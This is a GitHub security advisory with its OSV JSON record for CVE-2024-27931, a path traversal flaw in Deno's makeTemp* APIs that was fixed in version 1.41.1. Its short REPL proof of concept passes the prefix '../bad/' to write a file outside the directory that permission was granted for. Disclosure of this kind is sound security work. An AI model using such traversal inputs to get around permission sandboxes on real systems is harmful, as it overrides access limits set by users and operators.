GHSA-HRQR-JV8W-V9JH
Vulnerability from github – Published: 2024-03-05 16:19 – Updated: 2024-03-05 20:30Impact
Insufficient validation of parameters in Deno.makeTemp* APIs would allow for creation of files outside of the allowed directories. This may allow the user to overwrite important files on the system that may affect other systems.
A user may provide a prefix or suffix to a Deno.makeTemp* API containing path traversal characters. The permission check would prompt for the base directory of the API, but the final file that was created would be outside of this directory:
$ mkdir /tmp/good
$ mkdir /tmp/bad
$ deno repl --allow-write=/tmp/good
> Deno.makeTempFileSync({ dir: "/tmp/bad" })
┌ ⚠️ Deno requests write access to "/tmp/bad".
├ Requested by `Deno.makeTempFile()` API.
├ Run again with --allow-write to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all write permissions) > n
❌ Denied write access to "/tmp/bad".
Uncaught PermissionDenied: Requires write access to "/tmp/bad", run again with the --allow-write flag
at Object.makeTempFileSync (ext:deno_fs/30_fs.js:176:10)
at <anonymous>:1:27
> Deno.makeTempFileSync({ dir: "/tmp/good", prefix: "../bad/" })
"/tmp/good/../bad/a9432ef5"
$ ls -l /tmp/bad/a9432ef5
-rw-------@ 1 user group 0 Mar 4 09:20 /tmp/bad/a9432ef5
Patches
This is fixed in Deno 1.41.1.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "deno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.41.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-27931"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-05T16:19:44Z",
"nvd_published_at": "2024-03-05T17:15:07Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nInsufficient validation of parameters in `Deno.makeTemp*` APIs would allow for creation of files outside of the allowed directories. This may allow the user to overwrite important files on the system that may affect other systems.\n\nA user may provide a prefix or suffix to a `Deno.makeTemp*` API containing path traversal characters. The permission check would prompt for the base directory of the API, but the final file that was created would be outside of this directory:\n\n```\n$ mkdir /tmp/good\n$ mkdir /tmp/bad\n$ deno repl --allow-write=/tmp/good\n\u003e Deno.makeTempFileSync({ dir: \"/tmp/bad\" })\n\u250c \u26a0\ufe0f Deno requests write access to \"/tmp/bad\".\n\u251c Requested by `Deno.makeTempFile()` API.\n\u251c Run again with --allow-write to bypass this prompt.\n\u2514 Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all write permissions) \u003e n\n\u274c Denied write access to \"/tmp/bad\".\nUncaught PermissionDenied: Requires write access to \"/tmp/bad\", run again with the --allow-write flag\n at Object.makeTempFileSync (ext:deno_fs/30_fs.js:176:10)\n at \u003canonymous\u003e:1:27\n\u003e Deno.makeTempFileSync({ dir: \"/tmp/good\", prefix: \"../bad/\" })\n\"/tmp/good/../bad/a9432ef5\"\n$ ls -l /tmp/bad/a9432ef5\n-rw-------@ 1 user group 0 Mar 4 09:20 /tmp/bad/a9432ef5\n```\n\n### Patches\n\nThis is fixed in Deno 1.41.1.\n\n",
"id": "GHSA-hrqr-jv8w-v9jh",
"modified": "2024-03-05T20:30:03Z",
"published": "2024-03-05T16:19:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/denoland/deno/security/advisories/GHSA-hrqr-jv8w-v9jh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27931"
},
{
"type": "PACKAGE",
"url": "https://github.com/denoland/deno"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Insufficient permission checking in `Deno.makeTemp*` APIs"
}
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